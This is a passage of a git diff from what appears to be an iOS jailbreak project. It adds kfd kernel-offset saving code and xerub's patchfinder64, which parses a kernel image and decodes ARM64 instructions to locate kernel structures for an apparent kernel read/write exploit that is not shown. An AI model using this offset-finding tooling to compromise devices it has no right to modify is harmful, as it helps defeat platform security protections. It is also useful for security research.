unsignedLongLongValue]; + printf("perfmon_devices: 0x%llx\n", off_perfmon_devices); + off_ptov_table = [offsets[@"off_ptov_table"] unsignedLongLongValue]; + printf("ptov_table: 0x%llx\n", off_ptov_table); + off_vn_kqfilter = [offsets[@"off_vn_kqfilter"] unsignedLongLongValue]; + printf("vn_kqfilter: 0x%llx\n", off_vn_kqfilter); + off_proc_object_size = [offsets[@"off_proc_object_size"] unsignedLongLongValue]; + printf("proc_object_size: 0x%llx\n", off_proc_object_size); + + return 0; +} + +int save_kfd_offsets(void) { + // NSString* save_path = [NSString stringWithFormat:@"%@/Documents/kfund_offsets.plist", NSHomeDirectory()]; + NSString* save_path = @"/var/mobile/Documents/kfund_offsets.plist"; + remove(save_path.UTF8String); + + printf("[!] Saving kfd offsets\n"); + + NSDictionary *offsets = @{ + @"kern_version": @(get_kernversion()), + @"off_cdevsw": @(off_cdevsw), + @"off_gPhysBase": @(off_gPhysBase), + @"off_gPhysSize": @(off_gPhysSize), + @"off_gVirtBase": @(off_gVirtBase), + @"off_perfmon_dev_open": @(off_perfmon_dev_open), + @"off_perfmon_devices": @(off_perfmon_devices), + @"off_ptov_table": @(off_ptov_table), + @"off_vn_kqfilter": @(off_vn_kqfilter), + @"off_proc_object_size": @(off_proc_object_size), + }; + + BOOL success = [offsets writeToFile:save_path atomically:YES]; + if (!success) { + printf("failed to saved offsets: %s\n", save_path.UTF8String); + return -1; + } + printf("saved offsets for kfd: %s\n", save_path.UTF8String); + + return 0; +} + +uint64_t get_vm_kernel_link_addr(void) { + const char* kernversion = get_kernversion(); + uint64_t retval; + if(strstr(kernversion, "T8103") != NULL || strstr(kernversion, "T8112") != NULL) + retval = 0xFFFFFE0007004000; + else + retval = 0xFFFFFFF007004000; + free((void*)kernversion); + return retval; +} diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.h b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.h new file mode 100644 index 00000000..d92e67bb --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.h @@ -0,0 +1,42 @@ +#ifndef PATCHFINDER64_H_ +#define PATCHFINDER64_H_ + +#include +#include +#include + +extern bool auth_ptrs; +extern bool monolithic_kernel; + +int init_kernel(size_t (*kread)(uint64_t, void *, size_t), uint64_t kernel_base, const char *filename); +void term_kernel(void); + +enum text_bases { + text_xnucore_base = 0, + text_prelink_base, + text_ppl_base +}; + +enum string_bases { + string_base_cstring = 0, + string_base_pstring, + string_base_oslstring, + string_base_data, + string_base_const +}; + +uint64_t find_register_value(uint64_t where, int reg); +uint64_t find_reference(uint64_t to, int n, enum text_bases base); +uint64_t find_strref(const char *string, int n, enum string_bases string_base, bool full_match, bool ppl_base); + +uint64_t find_cdevsw(void); +uint64_t find_gPhysBase(void); +uint64_t find_gPhysSize(void); +uint64_t find_gVirtBase(void); +uint64_t find_perfmon_dev_open(void); +uint64_t find_perfmon_devices(void); +uint64_t find_ptov_table(void); +uint64_t find_vn_kqfilter(void); +uint64_t find_proc_object_size(void); + +#endif diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.m b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.m new file mode 100644 index 00000000..31f24a0b --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.m @@ -0,0 +1,1452 @@ +// +// patchfinder64.c +// extra_recipe +// +// Created by xerub on 06/06/2017. +// Copyright © 2017 xerub. All rights reserved. +// + +#include +#include +#include +#include +#include +#include +#include +#include "patchfinder64.h" + +bool auth_ptrs = false; +typedef unsigned long long addr_t; +static addr_t kerndumpbase = -1; +static addr_t xnucore_base = 0; +static addr_t xnucore_size = 0; +static addr_t ppl_base = 0; +static addr_t ppl_size = 0; +static addr_t prelink_base = 0; +static addr_t prelink_size = 0; +static addr_t cstring_base = 0; +static addr_t cstring_size = 0; +static addr_t pstring_base = 0; +static addr_t pstring_size = 0; +static addr_t oslstring_base = 0; +static addr_t oslstring_size = 0; +static addr_t data_base = 0; +static addr_t data_size = 0; +static addr_t data_const_base = 0; +static addr_t data_const_size = 0; +static addr_t const_base = 0; +static addr_t const_size = 0; +static addr_t kernel_entry = 0; +static void *kernel_mh = 0; +static addr_t kernel_delta = 0; +bool monolithic_kernel = false; + + +#define IS64(image) (*(uint8_t *)(image) & 1) + +#define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface) + +/* generic stuff *************************************************************/ + +#define UCHAR_MAX 255 + +/* these operate on VA ******************************************************/ + +#define INSN_RET 0xD65F03C0, 0xFFFFFFFF +#define INSN_CALL 0x94000000, 0xFC000000 +#define INSN_B 0x14000000, 0xFC000000 +#define INSN_CBZ 0x34000000, 0x7F000000 +#define INSN_ADRP 0x90000000, 0x9F000000 + +static unsigned char * +boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen, + const unsigned char* needle, size_t nlen) +{ + size_t last, scan = 0; + size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called: + * bad character shift */ + + /* Sanity checks on the parameters */ + if (nlen <= 0 || !haystack || !needle) + return NULL; + + /* ---- Preprocess ---- */ + /* Initialize the table to default value */ + /* When a character is encountered that does not occur + * in the needle, we can safely skip ahead for the whole + * length of the needle. + */ + for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1) + bad_char_skip[scan] = nlen; + + /* C arrays have the first byte at [0], therefore: + * [nlen - 1] is the last byte of the array. */ + last = nlen - 1; + + /* Then populate it with the analysis of the needle */ + for (scan = 0; scan < last; scan = scan + 1) + bad_char_skip[needle[scan]] = last - scan; + + /* ---- Do the matching ---- */ + + /* Search the haystack, while the needle can still be within it. */ + while (hlen >= nlen) + { + /* scan from the end of the needle */ + for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1) + if (scan == 0) /* If the first byte matches, we've found it. */ + return (void *)haystack; + + /* otherwise, we need to skip some bytes and start again. + Note that here we are getting the skip value based on the last byte + of needle, no matter where we didn't match. So if needle is: "abcd" + then we are skipping based on 'd' and that value will be 4, and + for "abcdd" we again skip on 'd' but the value will be only 1. + The alternative of pretending that the mismatched character was + the last character is slower in the normal case (E.g. finding + "abcd" in "...azcd..." gives 4 by using 'd' but only + 4-2==2 using 'z'. */ + hlen -= bad_char_skip[haystack[last]]; + haystack += bad_char_skip[haystack[last]]; + } + + return NULL; +} + +/* disassembler **************************************************************/ + +static int HighestSetBit(int N, uint32_t imm) +{ + int i; + for (i = N - 1; i >= 0; i--) { + if (imm & (1 << i)) { + return i; + } + } + return -1; +} + +static uint64_t ZeroExtendOnes(unsigned M, unsigned N) // zero extend M ones to N width +{ + (void)N; + return ((uint64_t)1 << M) - 1; +} + +static uint64_t RORZeroExtendOnes(unsigned M, unsigned N, unsigned R) +{ + uint64_t val = ZeroExtendOnes(M, N); + if (R == 0) { + return val; + } + return ((val >> R) & (((uint64_t)1 << (N - R)) - 1)) | ((val & (((uint64_t)1 << R) - 1)) << (N - R)); +} + +static uint64_t Replicate(uint64_t val, unsigned bits) +{ + uint64_t ret = val; + unsigned shift; + for (shift = bits; shift < 64; shift += bits) { // XXX actually, it is either 32 or 64 + ret |= (val << shift); + } + return ret; +} + +static int DecodeBitMasks(unsigned immN, unsigned imms, unsigned immr, int immediate, uint64_t *newval) +{ + unsigned levels, S, R, esize; + int len = HighestSetBit(7, (immN << 6) | (~imms & 0x3F)); + if (len < 1) { + return -1; + } + levels = (unsigned int)ZeroExtendOnes(len, 6); + if (immediate && (imms & levels) == levels) { + return -1; + } + S = imms & levels; + R = immr & levels; + esize = 1 << len; + *newval = Replicate(RORZeroExtendOnes(S + 1, esize, R), esize); + return 0; +} + +static int DecodeMov(uint32_t opcode, uint64_t total, int first, uint64_t *newval) +{ + unsigned o = (opcode >> 29) & 3; + unsigned k = (opcode >> 23) & 0x3F; + unsigned rn, rd; + uint64_t i; + + if (k == 0x24 && o == 1) { // MOV (bitmask imm) <=> ORR (immediate) + unsigned s = (opcode >> 31) & 1; + unsigned N = (opcode >> 22) & 1; + if (s == 0 && N != 0) { + return -1; + } + rn = (opcode >> 5) & 0x1F; + if (rn == 31) { + unsigned imms = (opcode >> 10) & 0x3F; + unsigned immr = (opcode >> 16) & 0x3F; + return DecodeBitMasks(N, imms, immr, 1, newval); + } + } else if (k == 0x25) { // MOVN/MOVZ/MOVK + unsigned s = (opcode >> 31) & 1; + unsigned h = (opcode >> 21) & 3; + if (s == 0 && h > 1) { + return -1; + } + i = (opcode >> 5) & 0xFFFF; + h *= 16; + i <<= h; + if (o == 0) { // MOVN + *newval = ~i; + return 0; + } else if (o == 2) { // MOVZ + *newval = i; + return 0; + } else if (o == 3 && !first) { // MOVK + *newval = (total & ~((uint64_t)0xFFFF << h)) | i; + return 0; + } + } else if ((k | 1) == 0x23 && !first) { // ADD (immediate) + unsigned h = (opcode >> 22) & 3; + if (h > 1) { + return -1; + } + rd = opcode & 0x1F; + rn = (opcode >> 5) & 0x1F; + if (rd != rn) { + return -1; + } + i = (opcode >> 10) & 0xFFF; + h *= 12; + i <<= h; + if (o & 2) { // SUB + *newval = total - i; + return 0; + } else { // ADD + *newval = total + i; + return 0; + } + } + + return -1; +} + +/* patchfinder ***************************************************************/ + +static addr_t +step64(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask) +{ + addr_t end = start + length; + while (start < end) { + uint32_t x = *(uint32_t *)(buf + start); + if ((x & mask) == what) { + return start; + } + start += 4; + } + return 0; +} + +static addr_t +step64_back(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask) +{ + addr_t end = start - length; + while (start >= end) { + uint32_t x = *(uint32_t *)(buf + start); + if ((x & mask) == what) { + return start; + } + start -= 4; + } + return 0; +} + +static addr_t +step_adrp_to_reg(const uint8_t *buf, addr_t start, size_t length, int reg) +{ + return step64(buf, start, length, 0x90000000 | (reg&0x1F), 0x9F00001F); +} + +static addr_t +bof64(const uint8_t *buf, addr_t start, addr_t where) +{ + if (auth_ptrs) { + for (; where >= start; where -= 4) { + uint32_t op = *(uint32_t *)(buf + where); + if (op == 0xD503237F) { + return where; + } + } + return 0; + } + for (; where >= start; where -= 4) { + uint32_t op = *(uint32_t *)(buf + where); + if ((op & 0xFFC003FF) == 0x910003FD) { + unsigned delta = (op >> 10) & 0xFFF; + //printf("0x%llx: ADD X29, SP, #0x%x\n", where + kerndumpbase, delta); + if ((delta & 0xF) == 0) { + addr_t prev = where - ((delta >> 4) + 1) * 4; + uint32_t au = *(uint32_t *)(buf + prev); + //printf("0x%llx: (%llx & %llx) == %llx\n", prev + kerndumpbase, au, 0x3BC003E0, au & 0x3BC003E0); + if ((au & 0x3BC003E0) == 0x298003E0) { + //printf("%x: STP x, y, [SP,#-imm]!\n", prev); + return prev; + } else if ((au & 0x7F8003FF) == 0x510003FF) { + //printf("%x: SUB SP, SP, #imm\n", prev); + return prev; + } + for (addr_t diff = 4; diff < delta/4+4; diff+=4) { + uint32_t ai = *(uint32_t *)(buf + where - diff); + // SUB SP, SP, #imm + //printf("0x%llx: (%llx & %llx) == %llx\n", where - diff + kerndumpbase, ai, 0x3BC003E0, ai & 0x3BC003E0); + if ((ai & 0x7F8003FF) == 0x510003FF) { + return where - diff; + } + // Not stp and not str + if (((ai & 0xFFC003E0) != 0xA90003E0) && (ai&0xFFC001F0) != 0xF90001E0) { + break; + } + } + // try something else + while (where > start) { + where -= 4; + au = *(uint32_t *)(buf + where); + // SUB SP, SP, #imm + if ((au & 0xFFC003FF) == 0xD10003FF && ((au >> 10) & 0xFFF) == delta + 0x10) { + return where; + } + // STP x, y, [SP,#imm] + if ((au & 0xFFC003E0) != 0xA90003E0) { + where += 4; + break; + } + } + } + } + } + return 0; +} + +static addr_t +xref64(const uint8_t *buf, addr_t start, addr_t end, addr_t what) +{ + addr_t i; + uint64_t value[32]; + + memset(value, 0, sizeof(value)); + + end &= ~3; + for (i = start & ~3; i < end; i += 4) { + uint32_t op = *(uint32_t *)(buf + i); + unsigned reg = op & 0x1F; + + if ((op & 0x9F000000) == 0x90000000) { + signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); + //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); + value[reg] = ((long long)adr << 1) + (i & ~0xFFF); + continue; // XXX should not XREF on its own? + /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { + unsigned rd = op & 0x1F; + unsigned rm = (op >> 16) & 0x1F; + //printf("%llx: MOV X%d, X%d\n", i, rd, rm); + value[rd] = value[rm];*/ + } else if ((op & 0xFF000000) == 0x91000000) { + unsigned rn = (op >> 5) & 0x1F; + if (rn == 0x1f) { + // ignore ADD Xn, SP + value[reg] = 0; + continue; + } + + unsigned shift = (op >> 22) & 3; + unsigned imm = (op >> 10) & 0xFFF; + if (shift == 1) { + imm <<= 12; + } else { + //assert(shift == 0); + if (shift > 1) continue; + } + //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); + value[reg] = value[rn] + imm; + } else if ((op & 0xF9C00000) == 0xF9400000) { + unsigned rn = (op >> 5) & 0x1F; + unsigned imm = ((op >> 10) & 0xFFF) << 3; + //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); + if (!imm) continue; // XXX not counted as true xref + value[reg] = value[rn] + imm; // XXX address, not actual value + /*} else if ((op & 0xF9C00000) == 0xF9000000) { + unsigned rn = (op >> 5) & 0x1F; + unsigned imm = ((op >> 10) & 0xFFF) << 3; + //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); + if (!imm) continue; // XXX not counted as true xref + value[rn] = value[rn] + imm; // XXX address, not actual value*/ + } else if ((op & 0x9F000000) == 0x10000000) { + signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); + //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); + value[reg] = ((long long)adr >> 11) + i; + } else if ((op & 0xFF000000) == 0x58000000) { + unsigned adr = (op & 0xFFFFE0) >> 3; + //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); + value[reg] = adr + i; // XXX address, not actual value + } else if ((op & 0xFC000000) == 0x94000000) { + // BL addr + signed imm = (op & 0x3FFFFFF) << 2; + if (op & 0x2000000) { + imm |= 0xf << 28; + } + unsigned adr = (unsigned)(i + imm); + if (adr == what) { + return i; + } + } + // Don't match SP as an offset + if (value[reg] == what && reg != 0x1f) { + return i; + } + } + return 0; +} + +static addr_t +calc64(const uint8_t *buf, addr_t start, addr_t end, int which) +{ + addr_t i; + uint64_t value[32]; + + memset(value, 0, sizeof(value)); + + end &= ~3; + for (i = start & ~3; i < end; i += 4) { + uint32_t op = *(uint32_t *)(buf + i); + unsigned reg = op & 0x1F; + if ((op & 0x9F000000) == 0x90000000) { + signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); + //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); + value[reg] = ((long long)adr << 1) + (i & ~0xFFF); + /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { + unsigned rd = op & 0x1F; + unsigned rm = (op >> 16) & 0x1F; + //printf("%llx: MOV X%d, X%d\n", i, rd, rm); + value[rd] = value[rm];*/ + } else if ((op & 0xFF000000) == 0x91000000) { + unsigned rn = (op >> 5) & 0x1F; + unsigned shift = (op >> 22) & 3; + unsigned imm = (op >> 10) & 0xFFF; + if (shift == 1) { + imm <<= 12; + } else { + //assert(shift == 0); + if (shift > 1) continue; + } + //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); + value[reg] = value[rn] + imm; + } else if ((op & 0xF9C00000) == 0xF9400000) { + unsigned rn = (op >> 5) & 0x1F; + unsigned imm = ((op >> 10) & 0xFFF) << 3; + //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); + if (!imm) continue; // XXX not counted as true xref + value[reg] = value[rn] + imm; // XXX address, not actual value + } else if ((op & 0xF9C00000) == 0xF9000000) { + unsigned rn = (op >> 5) & 0x1F; + unsigned imm = ((op >> 10) & 0xFFF) << 3; + //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); + if (!imm) continue; // XXX not counted as true xref + value[rn] = value[rn] + imm; // XXX address, not actual value + } else if ((op & 0x9F000000) == 0x10000000) { + signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); + //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); + value[reg] = ((long long)adr >> 11) + i; + } else if ((op & 0xFF000000) == 0x58000000) { + unsigned adr = (op & 0xFFFFE0) >> 3; + //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); + value[reg] = adr + i; // XXX address, not actual value + } else if ((op & 0xF9C00000) == 0xb9400000) { // 32bit + unsigned rn = (op >> 5) & 0x1F; + unsigned imm = ((op >> 10) & 0xFFF) << 2; + if (!imm) continue; // XXX not counted as true xref + value[reg] = value[rn] + imm; // XXX address, not actual value + } + } + return value[which]; +} + +static addr_t +calc64mov(const uint8_t *buf, addr_t start, addr_t end, int which) +{ + addr_t i; + uint64_t value[32]; + + memset(value, 0, sizeof(value)); + + end &= ~3; + for (i = start & ~3; i < end; i += 4) { + uint32_t op = *(uint32_t *)(buf + i); + unsigned reg = op & 0x1F; + uint64_t newval; + int rv = DecodeMov(op, value[reg], 0, &newval); + if (rv == 0) { + if (((op >> 31) & 1) == 0) { + newval &= 0xFFFFFFFF; + } + value[reg] = newval; + } + } + return value[which]; +} + +static addr_t +find_call64(const uint8_t *buf, addr_t start, size_t length) +{ + return step64(buf, start, length, INSN_CALL); +} + +static addr_t +follow_call64(const uint8_t *buf, addr_t call) +{ + long long w; + w = *(uint32_t *)(buf + call) & 0x3FFFFFF; + w <<= 64 - 26; + w >>= 64 - 26 - 2; + return call + w; +} + +static addr_t +follow_stub(const uint8_t *buf, addr_t call) +{ + addr_t stub = follow_call64(buf, call); + if (!stub) return 0; + + if (monolithic_kernel) { + return stub + kerndumpbase; + } + addr_t target_function_offset = calc64(buf, stub, stub+4*3, 16); + if (!target_function_offset) return 0; + + return *(addr_t*)(buf + target_function_offset); +} + +static addr_t +follow_cbz(const uint8_t *buf, addr_t cbz) +{ + return cbz + ((*(int *)(buf + cbz) & 0x3FFFFE0) << 10 >> 13); +} + +static addr_t +remove_pac(addr_t addr) +{ + if (addr >= kerndumpbase) return addr; + if (addr >> 56 == 0x80) { + return (addr&0xffffffff) + kerndumpbase; + } + return addr |= 0xfffffff000000000; +} + +static addr_t +follow_adrl(const uint8_t *buf, addr_t call) +{ + //Stage1. ADRP + uint32_t op = *(uint32_t *)(buf + call); +// printf("op: 0x%llx\n", op); + + uint64_t imm_hi_lo = (uint64_t)((op >> 3) & 0x1FFFFC); + imm_hi_lo |= (uint64_t)((op >> 29) & 0x3); + if ((op & 0x800000) != 0) { + // Sign extend + imm_hi_lo |= 0xFFFFFFFFFFE00000; + } + + // Build real imm + uint64_t imm = imm_hi_lo << 12; +// printf("imm: 0x%llx\n", imm); + + uint64_t ret = (call & ~0xFFF) + imm; + + //Stage2. ADD + uint32_t op2 = *(uint32_t *)(buf + call + 4); + uint64_t imm12 = (op2 & 0x3FFC00) >> 10; + + uint32_t shift = (op2 >> 22) & 1; + if (shift == 1) { + imm12 = imm12 << 12; + } + + uint8_t regDst = (uint8_t)(op2 & 0x1F); + uint8_t regSrc = (uint8_t)((op2 >> 5) & 0x1F); +// printf("regSrc: 0x%x\n", imm12); + + ret += imm12; +// printf("ret: 0x%llx\n", ret + kerndumpbase + imm12); + + return ret; +} + +static addr_t +follow_adrpLdr(const uint8_t *buf, addr_t call) +{ + //Stage1. ADRP + uint32_t op = *(uint32_t *)(buf + call); + + uint64_t imm_hi_lo = (uint64_t)((op >> 3) & 0x1FFFFC); + imm_hi_lo |= (uint64_t)((op >> 29) & 0x3); + if ((op & 0x800000) != 0) { + // Sign extend + imm_hi_lo |= 0xFFFFFFFFFFE00000; + } + + // Build real imm + uint64_t imm = imm_hi_lo << 12; +// printf("imm: 0x%llx\n", call, imm); + + uint64_t ret = (call & ~0xFFF) + imm; + + //Stage2. STR + uint32_t op2 = *(uint32_t *)(buf + call + 4); + uint64_t imm12 = ((op2 >> 10) & 0xFFF) << 3; + ret += imm12; + + return ret; +} + +/* kernel iOS10 **************************************************************/ + +#include +#include +#include + +#ifndef NOT_DARWIN +#include +#else +#include "mach-o_loader.h" +#endif + +#ifdef VFS_H_included +#define INVALID_HANDLE NULL +static FHANDLE +OPEN(const char *filename, int oflag) +{ + ssize_t rv; + char buf[28]; + FHANDLE fd = file_open(filename, oflag); + if (!fd) { + return NULL; + } + rv = fd->read(fd, buf, 4); + fd->lseek(fd, 0, SEEK_SET); + if (rv == 4 && !MACHO(buf)) { + fd = img4_reopen(fd, NULL, 0); + if (!fd) { + return NULL; + } + rv = fd->read(fd, buf, sizeof(buf)); + if (rv == sizeof(buf) && *(uint32_t *)buf == 0xBEBAFECA && __builtin_bswap32(*(uint32_t *)(buf + 4)) > 0) { + return sub_reopen(fd, __builtin_bswap32(*(uint32_t *)(buf + 16)), __builtin_bswap32(*(uint32_t *)(buf + 20))); + } + fd->lseek(fd, 0, SEEK_SET); + } + return fd; +} +#define CLOSE(fd) (fd)->close(fd) +#define READ(fd, buf, sz) (fd)->read(fd, buf, sz) +static ssize_t +PREAD(FHANDLE fd, void *buf, size_t count, off_t offset) +{ + ssize_t rv; + //off_t pos = fd->lseek(FHANDLE fd, 0, SEEK_CUR); + fd->lseek(fd, offset, SEEK_SET); + rv = fd->read(fd, buf, count); + //fd->lseek(FHANDLE fd, pos, SEEK_SET); + return rv; +} +#else +#define FHANDLE int +#define INVALID_HANDLE -1 +#define OPEN open +#define CLOSE close +#define READ read +#define PREAD pread +#endif + +static uint8_t *kernel = NULL; +static size_t kernel_size = 0; + +static uint32_t arch_off = 0; + +int +init_kernel(size_t (*kread)(uint64_t, void *, size_t), addr_t kernel_base, const char *filename) +{ + size_t rv; + uint8_t buf[0x5000]; + unsigned i, j; + const struct mach_header *hdr = (struct mach_header *)buf; + FHANDLE fd = INVALID_HANDLE; + const uint8_t *q; + addr_t min = -1; + addr_t max = 0; + int is64 = 0; + + if (filename == NULL) { + if (!kread || !kernel_base) { + return -1; + } + rv = kread(kernel_base, buf, sizeof(buf)); + if (rv != sizeof(buf) || !MACHO(buf)) { + return -1; + } + } else { + fd = OPEN(filename, O_RDONLY); + if (fd == INVALID_HANDLE) { + return -1; + } + + + uint32_t magic; + read(fd, &magic, 4); + lseek(fd, 0, SEEK_SET); + if (magic == 0xbebafeca) { + struct fat_header fat; + lseek(fd, sizeof(fat), SEEK_SET); + struct fat_arch_64 arch; + read(fd, &arch, sizeof(arch)); + arch_off = ntohl(arch.offset); + lseek(fd, arch_off, SEEK_SET); // kerneldec gives a FAT binary for some reason + } + + rv = READ(fd, buf, sizeof(buf)); + if (rv != sizeof(buf) || !MACHO(buf)) { + CLOSE(fd); + return -1; + } + } + + if (IS64(buf)) { + is64 = 4; + } + q = buf + sizeof(struct mach_header) + is64; +// printf("hdr->ncmds: %u\n", hdr->ncmds); + for (i = 0; i < hdr->ncmds; i++) { + const struct load_command *cmd = (struct load_command *)q; +// printf("i: %d, cmd->cmd: 0x%x\n", i, cmd->cmd); + if (cmd->cmd == LC_SEGMENT_64) { + const struct segment_command_64 *seg = (struct segment_command_64 *)q; + if(seg->filesize == 0) { + q = q + cmd->cmdsize; + continue; + } + if (min > seg->vmaddr && seg->vmsize > 0) { + min = seg->vmaddr; + } + if (max < seg->vmaddr + seg->vmsize && seg->vmsize > 0) { + max = seg->vmaddr + seg->vmsize; + } + if (!strcmp(seg->segname, "__TEXT_EXEC")) { + xnucore_base = seg->vmaddr; + xnucore_size = seg->filesize; + } else if (!strcmp(seg->segname, "__PPLTEXT")) { + ppl_base = seg->vmaddr; + ppl_size = seg->filesize; + } else if (!strcmp(seg->segname, "__PLK_TEXT_EXEC")) { + prelink_base = seg->vmaddr; + prelink_size = seg->filesize; + } else if (!strcmp(seg->segname, "__TEXT")) { + const struct section_64 *sec = (struct section_64 *)(seg + 1); + for (j = 0; j < seg->nsects; j++) { + if (!strcmp(sec[j].sectname, "__cstring")) { + cstring_base = sec[j].addr; + cstring_size = sec[j].size; + } else if (!strcmp(sec[j].sectname, "__os_log")) { + oslstring_base = sec[j].addr; + oslstring_size = sec[j].size; + } else if (!strcmp(sec[j].sectname, "__const")) { + const_base = sec[j].addr; + const_size = sec[j].size; + } + } + } else if (!strcmp(seg->segname, "__PRELINK_TEXT")) { + const struct section_64 *sec = (struct section_64 *)(seg + 1); + for (j = 0; j < seg->nsects; j++) { + if (!strcmp(sec[j].sectname, "__text")) { + pstring_base = sec[j].addr; + pstring_size = sec[j].size; + } + } + } else if (!strcmp(seg->segname, "__DATA_CONST")) { + const struct section_64 *sec = (struct section_64 *)(seg + 1); + for (j = 0; j < seg->nsects; j++) { + if (!strcmp(sec[j].sectname, "__const")) { + data_const_base = sec[j].addr; + data_const_size = sec[j].size; + } + } + } else if (!strcmp(seg->segname, "__DATA")) { + const struct section_64 *sec = (struct section_64 *)(seg + 1); + for (j = 0; j < seg->nsects; j++) { + if (!strcmp(sec[j].sectname, "__data")) { + data_base = sec[j].addr; + data_size = sec[j].size; + } + } + } + } else if (cmd->cmd == LC_UNIXTHREAD) { + uint32_t *ptr = (uint32_t *)(cmd + 1); + uint32_t flavor = ptr[0]; + struct { + uint64_t x[29]; /* General purpose registers x0-x28 */ + uint64_t fp; /* Frame pointer x29 */ + uint64_t lr; /* Link register x30 */ + uint64_t sp; /* Stack pointer x31 */ + uint64_t pc; /* Program counter */ + uint32_t cpsr; /* Current program status register */ + } *thread = (void *)(ptr + 2); + if (flavor == 6) { + kernel_entry = thread->pc; + } + } + + q = q + cmd->cmdsize; + } + + if (prelink_size == 0) { + monolithic_kernel = true; + prelink_base = xnucore_base; + prelink_size = xnucore_size; + pstring_base = cstring_base; + pstring_size = cstring_size; + } + + kerndumpbase = min; + xnucore_base -= kerndumpbase; + prelink_base -= kerndumpbase; + cstring_base -= kerndumpbase; + ppl_base -= kerndumpbase; + pstring_base -= kerndumpbase; + oslstring_base -= kerndumpbase; + data_const_base -= kerndumpbase; + data_base -= kerndumpbase; + const_base -= kerndumpbase; + kernel_size = max - min; + + if (filename == NULL) { + kernel = malloc(kernel_size); + if (!kernel) { + return -1; + } + rv = kread(kerndumpbase, kernel, kernel_size); + if (rv != kernel_size) { + free(kernel); + kernel = NULL; + return -1; + } + + kernel_mh = kernel + kernel_base - min; + } else { + kernel = calloc(1, kernel_size); + if (!kernel) { + CLOSE(fd); + return -1; + } + + q = buf + sizeof(struct mach_header) + is64; + for (i = 0; i < hdr->ncmds; i++) { + const struct load_command *cmd = (struct load_command *)q; + if (cmd->cmd == LC_SEGMENT_64) { + const struct segment_command_64 *seg = (struct segment_command_64 *)q; + size_t sz = PREAD(fd, kernel + seg->vmaddr - min, seg->filesize, seg->fileoff); + if (sz != seg->filesize) { + CLOSE(fd); + free(kernel); + kernel = NULL; + return -1; + } + if (!kernel_mh) { + kernel_mh = kernel + seg->vmaddr - min; + } + if (!strcmp(seg->segname, "__PPLDATA")) { + auth_ptrs = true; + } else if (!strcmp(seg->segname, "__LINKEDIT")) { + kernel_delta = seg->vmaddr - min - seg->fileoff; + } + } + q = q + cmd->cmdsize; + } + + kernel += arch_off; + + CLOSE(fd); + } + return 0; +} + +void +term_kernel(void) +{ + kernel -= arch_off; + if (kernel != NULL) { + free(kernel); + kernel = NULL; + } +} + +addr_t +find_register_value(addr_t where, int reg) +{ + addr_t val; + addr_t bof = 0; + where -= kerndumpbase; + if (where > xnucore_base) { + bof = bof64(kernel, xnucore_base, where); + if (!bof) { + bof = xnucore_base; + } + } else if (where > prelink_base) { + bof = bof64(kernel, prelink_base, where); + if (!bof) { + bof = prelink_base; + } + } + val = calc64(kernel, bof, where, reg); + if (!val) { + return 0; + } + return val + kerndumpbase; +} + +addr_t +find_reference(addr_t to, int n, enum text_bases text_base) +{ + addr_t ref, end; + addr_t base = xnucore_base; + addr_t size = xnucore_size; + switch (text_base) { + case text_xnucore_base: + break; + case text_prelink_base: + if (prelink_base) { + base = prelink_base; + size = prelink_size; + } + break; + case text_ppl_base: + if (ppl_base != 0-kerndumpbase) { + base = ppl_base; + size = ppl_size; + } + break; + default: + printf("Unknown base %d\n", text_base); + return 0; + break; + } + if (n <= 0) { + n = 1; + } + end = base + size; + to -= kerndumpbase; + do { + ref = xref64(kernel, base, end, to); + if (!ref) { + return 0; + } + base = ref + 4; + } while (--n > 0); + return ref + kerndumpbase; +} + +addr_t +find_strref(const char *string, int n, enum string_bases string_base, bool full_match, bool ppl_base) +{ + uint8_t *str; + addr_t base; + addr_t size; + enum text_bases text_base = ppl_base?text_ppl_base:text_xnucore_base; + + switch (string_base) { + case string_base_const: + base = const_base; + size = const_size; + break; + case string_base_data: + base = data_base; + size = data_size; + break; + case string_base_oslstring: + base = oslstring_base; + size = oslstring_size; + break; + case string_base_pstring: + base = pstring_base; + size = pstring_size; + text_base = text_prelink_base; + break; + case string_base_cstring: + default: + base = cstring_base; + size = cstring_size; + break; + } +// printf("base: 0x%llx, size: 0x%llx\n", base, size); + addr_t off = 0; + while ((str = boyermoore_horspool_memmem(kernel + base + off, size - off, (uint8_t *)string, strlen(string)))) { + // Only match the beginning of strings + if ((str == kernel + base || *(str-1) == '\0') && (!full_match || strcmp((char *)str, string) == 0)) + break; + off = str - (kernel + base) + 1; + } + if (!str) { + return 0; + } + return find_reference(str - kernel + 